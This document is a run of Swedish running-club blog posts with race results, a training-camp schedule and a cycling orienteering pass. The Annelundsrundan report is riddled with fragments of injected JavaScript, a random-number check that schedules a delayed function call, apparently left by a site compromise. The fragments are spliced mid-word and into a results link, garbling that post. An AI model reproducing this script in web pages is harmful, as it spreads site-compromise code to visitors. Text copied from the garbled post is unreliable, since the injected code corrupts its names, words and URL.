Maria och Jenny Biesert var i helgen och sprang den 38 upplagan av Gamlebys byrunda.
Båda ställde upp i 4 km klassen som hade cirka 40 startande och de båda Graaltjejerna visade samtliga ryggreklamen. Maria var först i mål på fina 14.45 medan Jenny bara var 7 sekunde efter. Tjejerna han både gratulera varandra och ta en mugg vatten innan trean i loppet kom i mål dryga minuten efter de duktiga tjejerna.
Vi gratulerar tjejerna till ett kanonbra genomfört lopp!
Kommentarer inaktiverade för Dubbelseger till Bieserts
Posted in Tävlingsrapporter
Så var det fullbordat. Mot alla odds har undertecknad genomfört sin fjärde klassiker. Med en dåres envishet och lite jävla anamma går det att simma, löpa, åka skidor och cykla trots att träningen varit minst sagt bristfällig. Avslutningen med Vätternrundan blev en blåsig tillställning där färden ner mot Jönköping blev en behaglig resa med kraftig medvind och hyfsat väder. Upp emot Fagerhult mötte oss motvinden för att tillta efter Karlsborg och som det kändes uppnå stormstyrka innan vi vände söderut vid Hammarsundet. Därefter blev det medvind men lite från sidan, faktiskt så kraftig att en deltagare framför mig blåste ner i diket.
Sju deltagare från Graal ställde sig på startlinjen (troligen rekord) och inte oväntat var Lars Hansen snabbast. Henrik Karlsson visade att Örebrovistelsen inte skadat den goda fysiken och avslutade sin första klassiker på ett lysande sätt. Åldermannen, Tommy i Snällsbökefamiljen avslutade sin andra klassiker på förväntat sätt och var inte långt efter sonen i målområdet. Hustru Minette gjorde också en strålande bedrift och avslutade en full klassiker, sannolikt som första tjej i Graals historia. (Rätta mig om jag har fel). Hon var dessutom snabbaste Graaldeltagare i Vansbrosimmet. Undertecknad tog revansch, efter att blivit slagen av Jonas Almarsson och Leif Axelsson med sju minuter i Vasaloppet, och var nu elva minuter före i mål. Sannolikt p g a att de måste smaka på allt vad depåerna erbjöd och tog lite för lång tid på sig utan att sitta på sadeln.
/Jan-Willy
Kommentarer inaktiverade för Vätternrundan
Posted in Okategoriserade
Ännu en gång genomfördes Göteborgsvarvet i strålande solsken. Många mindes förra årets värmebölja, och i jämförelse med den var det riktigt svalt, men ändå var det flera som hade det jobbigt i värmen. Det rapporterades trots allt temperaturer på 30 grader i solen.
I första startled återfanns fyra Graalare med mångårig rutin från Göteborgsvarvet. Tillsammans långt fram stod Jonas Almarsson, Daniel Evaldsson, Niklas Lundh och Ola Hanzon. Att titeln snabbaste Graalare skulle stå mellan dessa var det nog få som skulle säga emot inför start, och att Jonas troligen skulle dra längsta stråt var det nog inte heller mycket mer än pengarna tillbaka om någon skulle haft lust att satsa en slant på det. Redan innan startskottet gick hade Jonas tagit position några meter framför de andra tre och närmare än så kom de aldrig. Jonas gjorde att mycket stabilt lopp och blev snabbaste Graalare på 134 plats och tiden 1.19.46.
Bakom Jonas var det desto mer spännande. Daniel öppnade sin vana trogen optimistiskt och skapade en liten lucka till Ola och Niklas, men i stigningarna upp mot Älsvborgsbron efter cirka 5 km löpning var de åter samlade. Ola gick tuffast upp för bron och fick en lucka på cirka 20 meter, något som sedan höll i sig längs med älvstranden på Hisingen. Strax innan milpasseringen, som för övrigt passerades nästan på sekunden på de planerade 40 minuterna hade Ola fortfarande cirka 20 meters lucka ner till Niklas som fått 5-10 meter på Daniel som började få lite ont i framsidan av låren. Asfaltslöpning sliter inte på riktigt samma sätt som orientering.
Men en dryg kilometer senare får plötsligt Ola klubban och avståndet till de jagande krymper snabbt och strax innan Götaälvsbron (12 km) får Ola se sig passerad av både Niklas och Daniel. Detta sker alltså bara några hundra meter innan Olas egen fanclub står uppställda (Olas föräldrar står alltid i början av Götaälvsbron). Tillbaka på den södra sidan av älven och upp längs Avenyn dras avståndet mellan de tre löparna ut allt mer, men de två i täten, Niklas och Daniel, börjar bli allt mer slitna och de tappar såväl fart som motivation. Men fartsänkningen verkar gälla alla tre Graalarna och avståndet förblir relativt oförändrat fram till mållinjen. Niklas går först i mål på 1.26.44 och 651:a plats, Daniel skrivs in på 1.27.33 och 739:e plats medan Ola får 1.28.01 och 825 plats.
Men ingen av herrarna får Graals bästa placering, utan den kan Annika Bardh stoltsera med när hon springer in på mycket fina 1.30.16 och när resultatlistan är sammanställd kan konstatera att hon hamnar på placering 52 med denna tid.
Övriga fina resultat som överraskar lite extra och som vi tycker är värda att nämna är Boris Josefsson samt Linda Persson som gjorde mycket fina lopp och båda sprang in på 1.41, dock inte tillsammans samt det lite tragikomiska resultatet som Stefan Häll lyckades med och för andra året i rad missar han tvåtimmarsgränsen med bara sekunder. Förra året var det 29 sekunder för mycket, i år nöjde han sig med 17 sekunder. I år sprack det på sista kilometern då han passade på att få kramp, och tappade därmed ungefär en minut.
Imorgon hoppas jag att jag hinner rapportera lite från Lilla Göteborgsvarvet, där vi redan nu kan avslöja att Graal tog hem en seger!
Samtliga Graalresultat:
Kommentarer inaktiverade för 19 Graalare tog sig runt Göteborgsvarvet
Posted in Tävlingsrapporter
Nu är årets Cykeltrim/Naturpass ute till försäljning. Precis som föregående år har vi spritt ut kontroller på ett område i och utanför Strömsnäsbruk. Tanken med detta är att man ska ta cykeln till hjälp, och samtidigt som man tar en kortare eller längre cykeltur också letar upp de enkla kontrollerna, som alla är utsatta utmed cykelbara vägar. Vi hoppas att detta även i år kan locka gamla som nya naturpassare att ge sig ut och leta upp kontrollerna i vår vackra natur. Som vanligt har man hela sommaren på sig, och man kan leta upp kontroller i vilken ordning man vill. När man hittat minst 35 av de 40 kontrollerna lämnar man in startkortet och deltar därmed i utlottning av ett antal priser.
Cykeltrim/naturpassen finns att köpa på Centrumkiosken och ICA Nära.
Kommentarer inaktiverade för Cykeltrim/naturpasset
Posted in Kommande aktiviteter
Anton Wretström bjuder på lite bilder från träningslägret i Mellbystrand för några veckor sedan. Klicka på bilderna får att se dem större.
Kommentarer inaktiverade för Bilder från träningslägret
Posted in Övrigt
Inte mindre än 45 stycken Graalare stod på startlinjen när Hallarydsloppet avgjordes på Annandagen. Det är härligt att se alla gulgröna löpare som fyllde den gamla skolgården i Hallaryd. Troligen är detta rekord på antal deltagare från SK Graal på en tävling, i samband med Sunnerboklassikern är det i alla fall det.
Tävlingarna inleddes som vanligt med de yngsta tävlingsklasserna 8-, 10- och 12 åringar som sprang 1200 meter. Först i mål var den inte helt ovane segraren Oskar Karlsson som därmed tog hem P12 klassen. Närmaste Graalare efter honom var Elias Ringström som därmed tog hem tredjeplatsen i samma klass. Nästa Graalare i mål var Hugo Jensen som därmed vann P10 klassen. Bara 9 sekunder senare rusade Celine Aagaard i mål och säkrade därmed Graals tredje vinst på mindre än en minut. Ytterligare Graalmedaljörer på den kortaste banan togs av Linnea Ringström, 3:a i F10, Lovisa Ringström, 3:a i F8 samt Mio Nilsson, 3:a i P8.
Totalt sprang 16 Graalare den korta banan.
De lite äldre ungdomarna (13-16 år) sprang 3 200 meter och här är det lite tunnare med Graalare, men Lovisa höll flaggan högt och försvarade Graalfärgerna genom att vinna F16 klassen.
För de vuxna fanns det 6, 9,8 eller 21 km att välja mellan, och vi börjar väl nerifrån.
I damklassen över 6 km var det dubbelt Biesert på pallen. Storasyster Maria vann medan lillasyster Jenny tog hem tredjeplatsen. Närmast utanför pallen hittar vi även Linda Persson.
Bland herrarna visade Mats Karlsson att han fortfarande har fin talang och sprang in på tredje plats, minuter före Sasa Stanic (5:a) och ytterligare en minut före Peter Helgsson (6:a).
Milbanan lockade nio Graalare, snabbast av dessa var Tobias Omö-Bergkvist som sprang in på 8:e plats på drygt 41 minuter. Boris Josefsson fick också revansch på Stefan Häll från Annelundsrundan. 1-1 i den matchen nu.
Halvmaratonbanan är relativt kuperad och det är inte lätt att göra snabba tider här, men av de fem Graalarna på startlinjen gjorde fyra riktigt fina lopp. Niklas Lundh tvingades däremot bryta.
Snabbaste Graalare blev Jonas Almarsson (4:a totalt) som gick in på fina 1.20.29 medan Ola Hanzon (7:a) äntligen fick till det på en tävling och sprang in på finfina 1.24.59. Även Daniel Evaldsson gjorde ett fullt godkänt lopp och gick in på 1.26.12.
Damklassen vanns av Annika Bardh som hade koll på tiden och sprang in under en och en halv timme på 1.29.35.
Det lovar riktigt gott inför Göteborgsvarvet om några veckor som brukar kunna gå ett par minuter snabbare än Hallarydsloppet rätt kuperade bana.
Samtliga Graalresultat hittar du här.
Kommentarer inaktiverade för Graal invaderade Hallaryd
Posted in Tävlingsrapporter
Vårsäsongen är på gång och några lopp har redan avverkats.
Jenny Biesert åkte till Kalmar för att deltaga i vårpremiären för östra Småland och Skälbyloppet. Loppet som sådan slog nytt deltagarrekord för andra året i rad och Jenny slog in på rekordvägen och krossade det gamla banrekordet på 4 km banan med hela 41 sekunder när hon sprang in på fina 15:49, i och med det var hon över minuten före nästa snabbaste dam på korta sträckan.
Vi på webbredaktionen gratulerar Jenny till segern!
Kommentarer inaktiverade för Jenny satte nytt banrekord i Kalmar
Posted in Tävlingsrapporter
Tävlingssäsongen är igång på allvar och inte mindre än 34 Graalare dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog chansen att testa vårformen på Annelundsrundan i Ljungby under lördagen.
Först ut var de yngsta klasserna som sprang 1100 meter och överlägset snabbast och 23 sekunder före alla dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andra ungdomar var Graals egen Oskar ”Snabbfot” Karlsson som sprang i mål redan efter 3.27, och naturligtvis seger i P12. Nästa löpare att komma i mål var en 14-åring från Markaryd.
Därefter följde ett koppel löpare som sprang in runt 4 minuter och där hittar vi bldom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and annat Celine Aagaard som på tiden 3.57 enkelt sprang hem F8. Lite för ovanlighetens skulle fick hon faktiskt stryk av tre tjejer från både F10 och F12, men de är ju betydligt större än lilla Celine.
Andra fina ungdomsresultat från Graalarna hittar vi en Hugo (med okänt efternamn) som blev tvåa i P10 på 4.01 samt Mio Nilsson och Vigor Josefsson som blev trea respektive fyra i P8.
Bldom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and de lite äldre löparna hittar vi också några fina Graalplaceringar. På den korta banan (5,1 km) sprang Maria Biesert snabbt och dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog en dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andra plats med 20.10. Även unga Lovisa Bardh gjorde en bra insats på en så lång bana när hon sprang in på sjunde plats på 20.48. Det var jämnt i damklassen där de sju första löparna sprang in inom 1.10.
På korta herrbanan sprang Calle Bladh-Johansson in som trea på 18.29 och därefter var det hårt mellan Graalarna som dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog fem platser av sex mellan placering sex och elva. De var i nämnd ordning: Peter Helgsson, Geert Masseling, Thim Isaksson som spurtslog Stefan Häll (fem sek) och Boris Josefsson.
På den långa banan över 10 km sprang både Jonas Almarsson och Niklas Lundh riktigt bra. Jonas kutade in på fina 35.50 vilket räckte till en fjärdeplats, medan Niklas slog nytt milpers för dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andra helgen i rad när han gick i mål på 36.53. Ola Hanzon hade en lite tyngre dag, men sprang ändå in på fina 38.59.
För övriga Graalresultat hänvisar vi till den dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totala resultatlistan på
dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonline.se/ImageVaultFiles/id_597698/cf_69694/Resultat_Annelundsrundan_2014.PDF” target=”_blank”>http://www6.idrotdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonline.se/ImageVaultFiles/id_597698/cf_69694/Resultat_Annelundsrundan_2014.PDF
Kommentarer inaktiverade för Många fina resultat på Annelundsrundan
Posted in Tävlingsrapporter
Löparsäsongen börjar så smått rulla igång och i helgen sprangs det seedningslopp inför Göteborgsvarvet i Helsingborg. SK Graal hade sex löpare på plats varav tre satte nya prydliga pers på milen.
Första tävlingen för året är alltid lite extra nervös, och det är svårt att veta vilken kapacitet man har. Det gjorde att många öppnade lite för hårt, vilket de fick betala för mot slutet.
En av dessa var Niklas Lundh som trots stumnande ben kunde springa imål först av Graalarna, och som 17:e löpare totalt på tiden 37.31, ett nytt pers med runt 1 minut. Med lite mer kontrollerat öppningstempo kan Niklas springa riktigt bra i sommar.
Nästa Graalare att passera mållinjen blev Tobias Omö-Bergkvist som även ha kapade runt minuten på sitt gamla pers och gick i mål på 42.56. Den tredje och sista topptiden för Graalarna svarade Boris Josefsson för när även han persade med runt minuter och gick in på 45.44. Idel fina tider som lovar gått inför säsongen.
Även Sofia och Peter Dahl samt Josefin Lindberg deltog i loppet och sprang in på tider mellan 55-58 minuter.
Kommentarer inaktiverade för Tre personbästan i Helsingborg
Posted in Okategoriserade
26-27 april blir det träningsläger för SK Graal i Mellbystrand/Laholm.
Lägret vänder sig till alla aktiva, knattar(endast lördag) ungdomar och alla andra som vill spetsa formen inför vårens tävlingar.
Övernattning blir i fyrbäddsstugor i Bengts stugby Norra strandvägen 1 Mellbystrand. Vi vill ha in anmälningarna senast 10/4. Anmälan kan endast göras på Graals hemsida under tävlingsanmälan! Anmäl er i god tid! Notera vid anmälan om övernattning önskas eller inte. Anmälan är bindande och debitering utförs för ej utnyttjade sängplatser.
Upplägget blir som följer:
Lördag
09,00 Avfärd från Graalstugan mot Laholm.
10,00 Intervallträning på Sparbanksvallen i Laholm. Ledare: Knattegr. Tomas K, Ungdomsgr. Håkan W, Utvecklings/motionsgr. Jonas A & Lars H
12,00 Incheckning på Bengts stugbyar.
12,30 Lunch på Bengts stugbyar.
15,30 Distanspass på Hökafältet Ledare: Knattegr. Tomas K, Ungdomsgr. Håkan W, Utvecklings/motionsgr. Jonas A & Lars H. Avslutning för knattar efter avslutat pass.
18,30 Pizza!!!!
Söndag
08,00 Frukost och städning av boende.
10,00 Långpass på Hallandsåsen med start från Wretströms stuga, Hedhusvägen 69 Skummeslöv. Därefter hemfärd.
Graal står för kostnader för boende, lunch, frukost. (Även pizzan för ungdomarna).
OBS! Stugorna är utrustade för självhushåll. Lakan, örngott, påslakan måste du som gäst själv ta
med dig. Sovsäck är förbjuden!
Frågor: kontakta Tomas 0433-17418, 070-4802981 eller Lars 0433-21781, 070-3050967.
Kommentarer inaktiverade för Träningsläger i Mellbystrand
Posted in Okategoriserade
top: 0.4em; background-color: #eeeeee;” src=”https://www.skgraal.se/wp-content/uploads/2014/04/20140421_122805-192×300.jpg” alt=”20140421_122805″ width=”192″ height=”300″ />